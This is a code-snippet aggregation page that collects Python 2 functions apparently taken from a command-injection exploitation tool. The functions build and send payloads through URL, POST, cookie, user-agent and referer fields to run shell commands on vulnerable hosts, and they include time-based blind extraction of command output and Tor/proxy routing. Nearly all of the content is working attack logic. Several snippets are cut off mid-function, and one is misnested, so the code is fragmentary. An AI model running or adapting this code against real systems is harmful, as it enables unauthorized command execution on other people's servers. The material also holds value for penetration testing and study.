Python parameters.suffixes函数代码示例

def injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell):

    if alter_shell:
        # Classic decision payload (check if host is vulnerable).
        payload = cb_payloads.cmd_execution_alter_shell(separator, TAG, cmd)
    else:
        # Classic decision payload (check if host is vulnerable).
        payload = cb_payloads.cmd_execution(separator, TAG, cmd)

    if separator == " ":
        payload = re.sub(" ", "%20", payload)
    else:
        payload = re.sub(" ", whitespace, payload)

    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
        sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
        response = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
        response = user_agent_injection_test(url, vuln_parameter, payload)

    else:
        # Check if defined method is GET (Default).
        if http_request_method == "GET":
            # Check if its not specified the 'INJECT_HERE' tag
            url = parameters.do_GET_check(url)

            target = re.sub(settings.INJECT_TAG, payload, url)
            vuln_parameter = "".join(vuln_parameter)
            request = urllib2.Request(target)

            # Check if defined extra headers.
            headers.do_check(request)

            # Check if defined any HTTP Proxy.
            if menu.options.proxy:
                try:
                    response = proxy.use_proxy(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
                    raise SystemExit()

            # Check if defined Tor.
            elif menu.options.tor:
                try:
                    response = tor.use_tor(request)
                except urllib2.HTTPError, err:
                    print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
                    raise SystemExit()

            else:

def injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell):
  
  # Execute shell commands on vulnerable host.
  if alter_shell :
    payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) 
  else:
    payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) 

  # Fix prefixes / suffixes
  payload = parameters.prefixes(payload, prefix)
  payload = parameters.suffixes(payload, suffix)
      
  # Check if defined "--verbose" option.
  if menu.options.verbose:
    sys.stdout.write("\n" + Fore.GREY + payload.replace("\n", "\\n") + Style.RESET_ALL)
  
  # Check if defined cookie with "INJECT_HERE" tag
  if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
    response = cookie_injection_test(url, vuln_parameter, payload)

  # Check if defined user-agent with "INJECT_HERE" tag
  elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
    response = user_agent_injection_test(url, vuln_parameter, payload)
    
  else:
    # Check if defined method is GET (Default).
    if http_request_method == "GET":
      # Check if its not specified the 'INJECT_HERE' tag
      url = parameters.do_GET_check(url)
      
      # Encoding non-ASCII characters payload.
      payload = urllib.quote(payload)
      
      target = re.sub(settings.INJECT_TAG, payload, url)
      vuln_parameter = ''.join(vuln_parameter)
      request = urllib2.Request(target)
      
      # Check if defined extra headers.
      headers.do_check(request)        
        
      # Check if defined any HTTP Proxy.
      if menu.options.proxy:
        try:
          response = proxy.use_proxy(request)
        except urllib2.HTTPError, err:
          print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
          raise SystemExit() 

      # Check if defined Tor.
      elif menu.options.tor:
        try:
          response = tor.use_tor(request)
        except urllib2.HTTPError, err:
          print "\n" + Back.RED + "(x) Error: " + str(err) + Style.RESET_ALL
          raise SystemExit() 

      else:

def injection(separator, payload, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):

  # Execute shell commands on vulnerable host.
  if alter_shell :
    payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) 
  else:
    payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) 

  # Fix prefixes / suffixes
  payload = parameters.prefixes(payload, prefix)
  payload = parameters.suffixes(payload, suffix)

  if menu.options.base64:
    payload = base64.b64encode(payload)   

  # Check if defined "--verbose" option.
  if menu.options.verbose:
    payload_msg = payload.replace("\n", "\\n")
    if settings.COMMENT in payload_msg:
      payload_msg = payload_msg.split(settings.COMMENT)[0]
    sys.stdout.write("\n" + settings.print_payload(payload_msg))
  
  # Check if defined cookie with "INJECT_HERE" tag
  if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
    response = cookie_injection_test(url, vuln_parameter, payload)

  # Check if defined user-agent with "INJECT_HERE" tag
  elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
    response = user_agent_injection_test(url, vuln_parameter, payload)
    
  # Check if defined referer with "INJECT_HERE" tag
  elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
    response = referer_injection_test(url, vuln_parameter, payload)

  # Check if defined custom header with "INJECT_HERE" tag
  elif settings.CUSTOM_HEADER_INJECTION:
    response = custom_header_injection_test(url, vuln_parameter, payload)

  else:
    # Check if defined method is GET (Default).
    if http_request_method == "GET":

      # Check if its not specified the 'INJECT_HERE' tag
      #url = parameters.do_GET_check(url)

      payload = payload.replace(" ","%20")

      target = re.sub(settings.INJECT_TAG, payload, url)
      vuln_parameter = ''.join(vuln_parameter)
      request = urllib2.Request(target)
      
      # Check if defined extra headers.
      headers.do_check(request)        
        
      # Get the response of the request
      response = get_request_response(request) 

    else :
      # Check if defined method is POST.
      parameter = menu.options.data
      parameter = urllib2.unquote(parameter)

      # Check if its not specified the 'INJECT_HERE' tag
      parameter = parameters.do_POST_check(parameter)
      
      # Define the POST data  
      if settings.IS_JSON == False:
        data = re.sub(settings.INJECT_TAG, payload, parameter)
        request = urllib2.Request(url, data)
      else:
        payload = payload.replace("\"", "\\\"")
        data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter)
        try:
          data = json.loads(data, strict = False)
        except:
          pass
        request = urllib2.Request(url, json.dumps(data))
        
      # Check if defined extra headers.
      headers.do_check(request)        
        
      # Get the response of the request
      response = get_request_response(request)

  return response

def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response):

  found_chars = False
  if settings.VERBOSITY_LEVEL >= 1: 
    info_msg = "Testing the reliability of used payload... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()  

  for output_length in range(1, 3):

    # Execute shell commands on vulnerable host.
    if alter_shell :
      payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method)
    else:
      payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method)

    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Whitespace fixation
    payload = re.sub(" ", whitespace, payload)

    if settings.TAMPER_SCRIPTS['base64encode']:
      payload = base64.b64encode(payload)

    # Check if defined "--verbose" option.
    if settings.VERBOSITY_LEVEL >= 1:
      payload_msg = payload.replace("\n", "\\n") 
      sys.stdout.write("\n" + settings.print_payload(payload_msg))
 
    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      how_long = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      how_long = referer_injection_test(url, vuln_parameter, payload)

    # Check if defined custom header with "INJECT_HERE" tag
    elif settings.CUSTOM_HEADER_INJECTION:
      how_long = custom_header_injection_test(url, vuln_parameter, payload)

    else:
      how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response)

    if (how_long >= settings.FOUND_HOW_LONG) and (how_long - delay >= settings.FOUND_DIFF):
      found_chars = True
      break

  if found_chars == True :
    num_of_chars = output_length + 1
    check_start = 0
    check_end = 0
    check_start = time.time()
    
    output = [] 
    percent = 0
    for num_of_chars in range(1, int(num_of_chars)):
      for ascii_char in range(1, 3):
 
        # Get the execution ouput, of shell execution.
        if alter_shell:
          payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, delay, http_request_method)
        else:
          payload = tfb_payloads.fp_result(separator, OUTPUT_TEXTFILE, ascii_char, delay, http_request_method)

        # Fix prefixes / suffixes
        payload = parameters.prefixes(payload, prefix)
        payload = parameters.suffixes(payload, suffix)        

        # Whitespace fixation
        payload = re.sub(" ", whitespace, payload)

        if settings.TAMPER_SCRIPTS['base64encode']:
          payload = base64.b64encode(payload)

        # Check if defined "--verbose" option.
        if settings.VERBOSITY_LEVEL >= 1:
          payload_msg = payload.replace("\n", "\\n") 
          sys.stdout.write("\n" + settings.print_payload(payload_msg))

        # Check if defined cookie with "INJECT_HERE" tag
        if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
          how_long = cookie_injection_test(url, vuln_parameter, payload)

        # Check if defined user-agent with "INJECT_HERE" tag
        elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
          how_long = user_agent_injection_test(url, vuln_parameter, payload)

        # Check if defined referer with "INJECT_HERE" tag
        elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
          how_long = referer_injection_test(url, vuln_parameter, payload)

        # Check if defined custom header with "INJECT_HERE" tag
        elif settings.CUSTOM_HEADER_INJECTION:
#.........这里部分代码省略.........

def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
  
  if settings.TARGET_OS == "win":
    previous_cmd = cmd
    if alter_shell:
      cmd = "\"" + cmd + "\""
    else: 
      cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()"

  if menu.options.file_write or menu.options.file_upload :
    minlen = 0
  else:
    minlen = 1

  found_chars = False
  info_msg = "Retrieving the length of execution output... "
  sys.stdout.write(settings.print_info_msg(info_msg))
  sys.stdout.flush()  
  for output_length in range(int(minlen), int(maxlen)):
    # Execute shell commands on vulnerable host.
    if alter_shell :
      payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method)
    else:
      payload = tfb_payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, delay, http_request_method)  
   
    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Whitespace fixation
    payload = re.sub(" ", whitespace, payload)

    if settings.TAMPER_SCRIPTS['base64encode']:
      payload = base64.b64encode(payload)
    # Check if defined "--verbose" option.
    if settings.VERBOSITY_LEVEL >= 1:
      payload_msg = payload.replace("\n", "\\n") 
      sys.stdout.write("\n" + settings.print_payload(payload_msg))

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      how_long = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      how_long = referer_injection_test(url, vuln_parameter, payload)

    # Check if defined custom header with "INJECT_HERE" tag
    elif settings.CUSTOM_HEADER_INJECTION:
      how_long = custom_header_injection_test(url, vuln_parameter, payload)

    else:
      how_long = examine_requests(payload, vuln_parameter, http_request_method, url, delay, url_time_response)
    
    # Examine time-responses
    injection_check = False
    if (how_long >= settings.FOUND_HOW_LONG and how_long - delay >= settings.FOUND_DIFF):
      injection_check = True

    if injection_check == True:   
      if output_length > 1:
        if settings.VERBOSITY_LEVEL >= 1:
          print "\n"
        else:
          sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL+ "]\n")
          sys.stdout.flush()
        success_msg = "Retrieved " + str(output_length) + " characters."  
        print settings.print_success_msg(success_msg)
      found_chars = True
      injection_check = False
      break

  # Proceed with the next (injection) step!
  if found_chars == True :
    num_of_chars = output_length + 1
    check_start = 0
    check_end = 0
    check_start = time.time()
    if settings.TARGET_OS == "win":
      cmd = previous_cmd
    output = []
    percent = "0.0"

    info_msg = "Grabbing the output from '" + OUTPUT_TEXTFILE 
    info_msg += "', please wait... [ " +str(percent)+ "% ]"
    sys.stdout.write("\r" + settings.print_info_msg(info_msg))
    sys.stdout.flush()

    for num_of_chars in range(1, int(num_of_chars)):
      if num_of_chars == 1:
        # Checks {A..Z},{a..z},{0..9},{Symbols}
        char_pool = range(65, 90) + range(96, 122)
      else:
        # Checks {a..z},{A..Z},{0..9},{Symbols}
        char_pool = range(96, 122) + range(65, 90)
      char_pool = char_pool + range(48, 57) + range(32, 48) + range(90, 96)  + range(57, 65)  + range(122, 127) 
#.........这里部分代码省略.........

def eb_injection_handler(url, delay, filename, http_request_method):

  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "Results-based Command Injection"
  technique = "eval-based code injection technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  url = eb_injector.warning_detection(url, http_request_method)
  
  if not settings.LOAD_SESSION:
    info_msg = "Testing the " + technique + "... "
    sys.stdout.write(settings.print_info_msg(info_msg))
    sys.stdout.flush()

  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  for whitespace in settings.WHITESPACE:
    for prefix in settings.EVAL_PREFIXES:
      for suffix in settings.EVAL_SUFFIXES:
        for separator in settings.EVAL_SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            
          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
            
          if not settings.LOAD_SESSION:
            i = i + 1
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            # Change TAG on every request to prevent false-positive results.
            TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

            randv1 = random.randrange(100)
            randv2 = random.randrange(100)
            randvcalc = randv1 + randv2

            # Define alter shell
            alter_shell = menu.options.alter_shell

            try:
              if alter_shell:
                # Classic -alter shell- decision payload (check if host is vulnerable).
                payload = eb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
              else:
                # Classic decision payload (check if host is vulnerable).
                payload = eb_payloads.decision(separator, TAG, randv1, randv2)

              suffix = urllib.quote(suffix)
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Fixation for specific payload.
              if ")%3B" + urllib.quote(")}") in payload:
                payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
              payload = payload +  TAG + ""

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)
              else:
                payload = re.sub(" ", "%20", payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                sys.stdout.write("\n" + settings.print_payload(payload))

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
#.........这里部分代码省略.........

def injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter, alter_shell, filename):
  
  # Execute shell commands on vulnerable host.
  if alter_shell:
    payload = eb_payloads.cmd_execution_alter_shell(separator, TAG, cmd)
  else:
    payload = eb_payloads.cmd_execution(separator, TAG, cmd)

  # Fix prefixes / suffixes
  payload = parameters.prefixes(payload, prefix)
  payload = parameters.suffixes(payload, suffix)
  # Fixation for specific payload.
  if ")%3B" + urllib.quote(")}") in payload:
    payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))

  if menu.options.base64:
    payload = urllib.unquote(payload)
    payload = base64.b64encode(payload)
  else:
    payload = re.sub(" ", "%20", payload)

  # Check if defined "--verbose" option.
  if menu.options.verbose:
    sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)

  # Check if defined cookie with "INJECT_HERE" tag
  if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
    response = cookie_injection_test(url, vuln_parameter, payload)

   # Check if defined user-agent with "INJECT_HERE" tag
  elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
    response = user_agent_injection_test(url, vuln_parameter, payload)

  # Check if defined referer with "INJECT_HERE" tag
  elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
    response = referer_injection_test(url, vuln_parameter, payload)

  else:
    # Check if defined method is GET (Default).
    if http_request_method == "GET":
      # Check if its not specified the 'INJECT_HERE' tag
      #url = parameters.do_GET_check(url)
      
      target = re.sub(settings.INJECT_TAG, payload, url)
      vuln_parameter = ''.join(vuln_parameter)
      request = urllib2.Request(target)
      
      # Check if defined extra headers.
      headers.do_check(request)  

      # Get the response of the request
      response = get_request_response(request)
     
    else :
      # Check if defined method is POST.
      parameter = menu.options.data
      parameter = urllib2.unquote(parameter)
      
      # Check if its not specified the 'INJECT_HERE' tag
      parameter = parameters.do_POST_check(parameter)
      
      # Define the POST data   
      if settings.IS_JSON == False:
        data = re.sub(settings.INJECT_TAG, payload, parameter)
        request = urllib2.Request(url, data)
      else:
        payload = payload.replace("\"", "\\\"")
        data = re.sub(settings.INJECT_TAG, urllib.unquote(payload), parameter)
        data = json.loads(data, strict = False)
        request = urllib2.Request(url, json.dumps(data))
      
      # Check if defined extra headers.
      headers.do_check(request)

      # Get the response of the request
      response = get_request_response(request)

  return response

  def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
    
    # Execute shell commands on vulnerable host.
    if alter_shell :
      payload = fb_payloads.cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE) 
    else:
      payload = fb_payloads.cmd_execution(separator, cmd, OUTPUT_TEXTFILE) 

    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    # Whitespace fixation
    payload = payload.replace(" ", whitespace)

    # Perform payload modification
    payload = checks.perform_payload_modification(payload)

    # Check if defined "--verbose" option.
    if settings.VERBOSITY_LEVEL >= 1:
      payload_msg = payload.replace("\n", "\\n")
      if settings.COMMENT in payload_msg:
        payload = payload.split(settings.COMMENT)[0].strip()
        payload_msg = payload_msg.split(settings.COMMENT)[0].strip()
      info_msg = "Executing the '" + cmd.split(settings.COMMENT)[0].strip() + "' command... "
      sys.stdout.write(settings.print_info_msg(info_msg))
      sys.stdout.flush()
      output_payload = "\n" + settings.print_payload(payload)
      if settings.VERBOSITY_LEVEL >= 1:
        output_payload = output_payload + "\n" 
      sys.stdout.write(output_payload)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      response = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      response = user_agent_injection_test(url, vuln_parameter, payload)
      
    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      response = referer_injection_test(url, vuln_parameter, payload)

    # Check if defined host with "INJECT_HERE" tag
    elif menu.options.host and settings.INJECT_TAG in menu.options.host:
      response = host_injection_test(url, vuln_parameter, payload)

    # Check if defined custom header with "INJECT_HERE" tag
    elif settings.CUSTOM_HEADER_INJECTION:
      response = custom_header_injection_test(url, vuln_parameter, payload)

    else:
      # Check if defined method is GET (Default).
      if http_request_method == "GET":
        # Check if its not specified the 'INJECT_HERE' tag
        #url = parameters.do_GET_check(url)
        payload = payload.replace(" ","%20")
        target = url.replace(settings.INJECT_TAG, payload)
        vuln_parameter = ''.join(vuln_parameter)
        request = urllib2.Request(target)
        # Check if defined extra headers.
        headers.do_check(request)        
        # Get the response of the request
        response = requests.get_request_response(request) 

      else :
        # Check if defined method is POST.
        parameter = menu.options.data
        parameter = urllib2.unquote(parameter)
        # Check if its not specified the 'INJECT_HERE' tag
        parameter = parameters.do_POST_check(parameter)
        # Define the POST data  
        if settings.IS_JSON:
          payload = payload.replace("\"", "\\\"")
          data = parameter.replace(settings.INJECT_TAG, urllib.unquote(payload))
          try:
            data = json.loads(data, strict = False)
          except:
            pass
          request = urllib2.Request(url, json.dumps(data))
        else:
          if settings.IS_XML:
            data = parameter.replace(settings.INJECT_TAG, urllib.unquote(payload))  
          else:
            data = parameter.replace(settings.INJECT_TAG, payload)
          request = urllib2.Request(url, data)
          
        # Check if defined extra headers.
        headers.do_check(request)        
          
        # Get the response of the request
        response = requests.get_request_response(request)
    return response

def tb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  percent = 0
  counter = 1
  num_of_chars = 1
  vp_flag = True
  no_result = True
  is_encoded = False
  is_vulnerable = False
  export_injection_info = False
  how_long = 0
  injection_type = "Blind Command Injection"
  technique = "time-based injection technique"

  # Check if defined "--maxlen" option.
  if menu.options.maxlen:
    maxlen = settings.MAXLEN
    
  # Check if defined "--url-reload" option.
  if menu.options.url_reload == True:
    print Fore.YELLOW + "(^) Warning: The '--url-reload' option is not available in "+ technique +"." + Style.RESET_ALL
  
  percent = str(percent)+"%"
  sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
  sys.stdout.flush()

  # Calculate all possible combinations
  total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))

  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        num_of_chars = num_of_chars + 1

        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""
        
        # Define alter shell
        alter_shell = menu.options.alter_shell
        
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
        tag_length = len(TAG) + 4
        
        for output_length in range(1, int(tag_length)):
          try:

            # Log previous 'how_long' for later comparison
            previous_how_long = how_long

            if alter_shell:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision_alter_shell(separator, TAG, output_length, delay, http_request_method)
            else:
              # Time-based decision payload (check if host is vulnerable).
              payload = tb_payloads.decision(separator, TAG, output_length, delay, http_request_method)

            # Fix prefixes / suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = base64.b64encode(payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              how_long = tb_injector.cookie_injection_test(url, vuln_parameter, payload)

            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              how_long = tb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              how_long = tb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              how_long, vuln_parameter = tb_injector.injection_test(payload, http_request_method, url)
            
            # Injection percentage calculation
            percent = ((num_of_chars * 100) / total)
            float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total * 1.0)),2))

            if percent == 100 and no_result == True:
              if not menu.options.verbose:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
#.........这里部分代码省略.........

def cb_injection_handler(url, delay, filename, http_request_method):
  
  counter = 1
  vp_flag = True
  no_result = True
  is_encoded= False
  export_injection_info = False

  injection_type = "Results-based Command Injection"
  technique = "classic injection technique"
      
  sys.stdout.write("(*) Testing the "+ technique + "... ")
  sys.stdout.flush()
  
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACES:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          i = i + 1

          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""

          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
          
          randv1 = random.randrange(100)
          randv2 = random.randrange(100)
          randvcalc = randv1 + randv2
          
          # Define alter shell
          alter_shell = menu.options.alter_shell
        
          try:
            if alter_shell:
              # Classic -alter shell- decision payload (check if host is vulnerable).
              payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
            else:
              # Classic decision payload (check if host is vulnerable).
              payload = cb_payloads.decision(separator, TAG, randv1, randv2)
            
            # Define prefixes & suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = urllib.unquote(payload)
              payload = base64.b64encode(payload)
            else:
              if separator == " " :
                payload = re.sub(" ", "%20", payload)
              else:
                payload = re.sub(" ", whitespace, payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)
              
            # if need page reload
            if menu.options.url_reload:
              time.sleep(delay)
              response = urllib.urlopen(url)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
              
            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              response = cb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)

            # Evaluate test results.
            shell = cb_injector.injection_test_results(response, TAG, randvcalc)

            if not menu.options.verbose:
              percent = ((i*100)/total)
              float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
            
              if shell == False:
                sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + float_percent +"%" + " ]")  
                sys.stdout.flush()
#.........这里部分代码省略.........

def false_positive_check(separator, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, randvcalc, alter_shell, how_long):
  
  # Log previous 'how_long' for later comparison
  previous_how_long = how_long

  found_chars = False
  if menu.options.verbose: 
    sys.stdout.write("\n(*) Testing the reliability of used payload... ")
    sys.stdout.flush()

  for output_length in range(1, 3):

    if alter_shell:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, delay, http_request_method)
    else:
      # Execute shell commands on vulnerable host.
      payload = tb_payloads.cmd_execution(separator, cmd, output_length, delay, http_request_method)
          
    # Fix prefixes / suffixes
    payload = parameters.prefixes(payload, prefix)
    payload = parameters.suffixes(payload, suffix)

    if menu.options.base64:
      payload = base64.b64encode(payload)

    # Check if defined "--verbose" option.
    if menu.options.verbose:
      sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL)

    # Check if defined cookie with "INJECT_HERE" tag
    if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie:
      how_long = cookie_injection_test(url, vuln_parameter, payload)

    # Check if defined user-agent with "INJECT_HERE" tag
    elif menu.options.agent and settings.INJECT_TAG in menu.options.agent:
      how_long = user_agent_injection_test(url, vuln_parameter, payload)

    # Check if defined referer with "INJECT_HERE" tag
    elif menu.options.referer and settings.INJECT_TAG in menu.options.referer:
      how_long = referer_injection_test(url, vuln_parameter, payload)

    else:  
      how_long = examine_requests(payload, vuln_parameter, http_request_method, url)
    
